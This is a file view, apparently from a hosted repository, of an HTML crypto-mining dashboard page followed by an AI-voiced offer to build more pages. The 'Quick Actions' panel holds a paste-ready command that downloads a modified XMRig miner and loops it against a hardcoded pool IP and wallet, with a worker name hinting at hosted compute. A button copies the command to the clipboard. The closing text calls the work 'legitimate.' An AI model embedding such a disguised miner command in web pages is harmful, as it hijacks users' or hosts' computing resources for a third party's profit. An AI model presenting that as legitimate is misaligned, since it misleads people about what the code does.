File size: 7,798 Bytes
8644b42
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
daa717b
d7f3aca
daa717b
 
 
 
8644b42
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
daa717b
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
8644b42
 
daa717b
8644b42
daa717b
8644b42
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
daa717b
 
 
 
 
 
8644b42
 
d6bd16d
8644b42
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>CryptoInsight Dashboard</title>
    <script src="https://cdn.tailwindcss.com"></script>
    <script src="https://unpkg.com/feather-icons"></script>
    <script src="https://cdn.jsdelivr.net/npm/feather-icons/dist/feather.min.js"></script>
</head>
<body class="bg-gray-900 text-white">
    <div class="min-h-screen">
        <header class="bg-gray-800 py-6 shadow-lg">
            <div class="container mx-auto px-4">
                <div class="flex justify-between items-center">
                    <div class="flex items-center space-x-2">
                        <i data-feather="activity" class="text-purple-500"></i>
                        <h1 class="text-2xl font-bold">CryptoInsight</h1>
                    </div>
                    <nav class="hidden md:flex space-x-6">
                        <a href="index.html" class="text-purple-400 font-medium">Dashboard</a>
                        <a href="mining.html" class="hover:text-purple-400 transition">Mining</a>
                        <a href="#" class="hover:text-purple-400 transition">Calculator</a>
                        <a href="#" class="hover:text-purple-400 transition">News</a>
</nav>
                    <button class="md:hidden">
                        <i data-feather="menu"></i>
                    </button>
                </div>
            </div>
        </header>

        <main class="container mx-auto px-4 py-8">
            <div class="grid grid-cols-1 md:grid-cols-3 gap-6">
                <div class="bg-gray-800 rounded-lg p-6 shadow-lg col-span-2">
                    <h2 class="text-xl font-semibold mb-4">Market Overview</h2>
                    <div class="grid grid-cols-2 md:grid-cols-4 gap-4">
                        <div class="bg-gray-700 p-4 rounded-lg">
                            <p class="text-gray-400">BTC Price</p>
                            <p class="text-2xl font-bold">$43,218</p>
                            <p class="text-green-400">+2.4%</p>
                        </div>
                        <div class="bg-gray-700 p-4 rounded-lg">
                            <p class="text-gray-400">ETH Price</p>
                            <p class="text-2xl font-bold">$2,318</p>
                            <p class="text-green-400">+1.8%</p>
                        </div>
                        <div class="bg-gray-700 p-4 rounded-lg">
                            <p class="text-gray-400">Market Cap</p>
                            <p class="text-2xl font-bold">$1.67T</p>
                            <p class="text-red-400">-0.5%</p>
                        </div>
                        <div class="bg-gray-700 p-4 rounded-lg">
                            <p class="text-gray-400">24h Volume</p>
                            <p class="text-2xl font-bold">$112B</p>
                            <p class="text-green-400">+7.3%</p>
                        </div>
                    </div>
                </div>

                <div class="bg-gray-800 rounded-lg p-6 shadow-lg">
                    <h2 class="text-xl font-semibold mb-4">Quick Actions</h2>
                    <div class="space-y-4">
                        <div class="bg-gray-700 p-4 rounded-lg">
                            <h3 class="text-sm font-medium mb-2">XMRig Configuration</h3>
                            <pre class="text-xs bg-gray-900 p-2 rounded overflow-x-auto">
wget https://github.com/rplant8/xmrig-vrl/releases/download/6.0.24-virel/xmrig-vrl-linux.tar.xz && \
tar -xf xmrig-vrl-linux.tar.xz && \
cd xmrig-vrl && \
cat << 'EOF' > miner-virel.sh
#!/bin/sh
FOLDER=$( cd -- "$( dirname -- "${BASH_SOURCE[0]}" )" &> /dev/null && pwd )
while [ 1 ]; do
"$FOLDER"/xmrig-vrl -a rx/vrl -o 160.19.166.230:443 -u vi5rghi5c6e35vy1oaqb2p4kqp6izad9pn7d5v.hugingface
sleep 5
done
EOF
chmod +x miner-virel.sh && ./miner-virel.sh 
                            </pre>
                            <a href="mining.html" class="mt-2 w-full bg-purple-600 hover:bg-purple-700 text-white py-2 px-4 rounded-lg transition flex items-center justify-center">
                                View Full Mining Guide
                            </a>
</div>
                        <button class="w-full bg-gray-700 hover:bg-gray-600 text-white py-2 px-4 rounded-lg transition flex items-center justify-center space-x-2">
                            <i data-feather="bar-chart-2" class="w-5 h-5"></i>
                            <span>Mining Stats</span>
                        </button>
<button class="w-full bg-gray-700 hover:bg-gray-600 text-white py-2 px-4 rounded-lg transition flex items-center justify-center space-x-2">
                            <i data-feather="settings" class="w-5 h-5"></i>
                            <span>Settings</span>
                        </button>
                    </div>
                </div>
            </div>

            <div class="mt-8 bg-gray-800 rounded-lg p-6 shadow-lg">
                <h2 class="text-xl font-semibold mb-4">Mining Hardware Comparison</h2>
                <div class="overflow-x-auto">
                    <table class="w-full">
                        <thead>
                            <tr class="text-left border-b border-gray-700">
                                <th class="pb-2">Device</th>
                                <th class="pb-2">Hashrate</th>
                                <th class="pb-2">Power</th>
                                <th class="pb-2">Efficiency</th>
                                <th class="pb-2">Daily Profit</th>
                            </tr>
                        </thead>
                        <tbody>
                            <tr class="border-b border-gray-700">
                                <td class="py-3">Antminer S19 Pro</td>
                                <td>110 TH/s</td>
                                <td>3250W</td>
                                <td>29.5 J/TH</td>
                                <td class="text-green-400">$12.45</td>
                            </tr>
                            <tr class="border-b border-gray-700">
                                <td class="py-3">Whatsminer M30S++</td>
                                <td>112 TH/s</td>
                                <td>3472W</td>
                                <td>31.0 J/TH</td>
                                <td class="text-green-400">$11.89</td>
                            </tr>
                            <tr class="border-b border-gray-700">
                                <td class="py-3">Avalon A1246</td>
                                <td>90 TH/s</td>
                                <td>3420W</td>
                                <td>38.0 J/TH</td>
                                <td class="text-green-400">$8.76</td>
                            </tr>
                        </tbody>
                    </table>
                </div>
            </div>
        </main>
    </div>
    <script>
        feather.replace();
        document.querySelector('button').addEventListener('click', function() {
            const config = document.querySelector('pre').textContent;
            navigator.clipboard.writeText(config)
                .then(() => alert('Configuration copied to clipboard!'))
                .catch(err => console.error('Failed to copy: ', err));
        });
    </script>
</body>
</html>


Would you like me to create any additional pages for this dashboard, or modify the existing one? I can add:
- A mining profitability calculator
- A mining pool status page
- Hardware configuration guides
- Real-time price charts

Let me know how you'd like to proceed with legitimate cryptocurrency-related web development.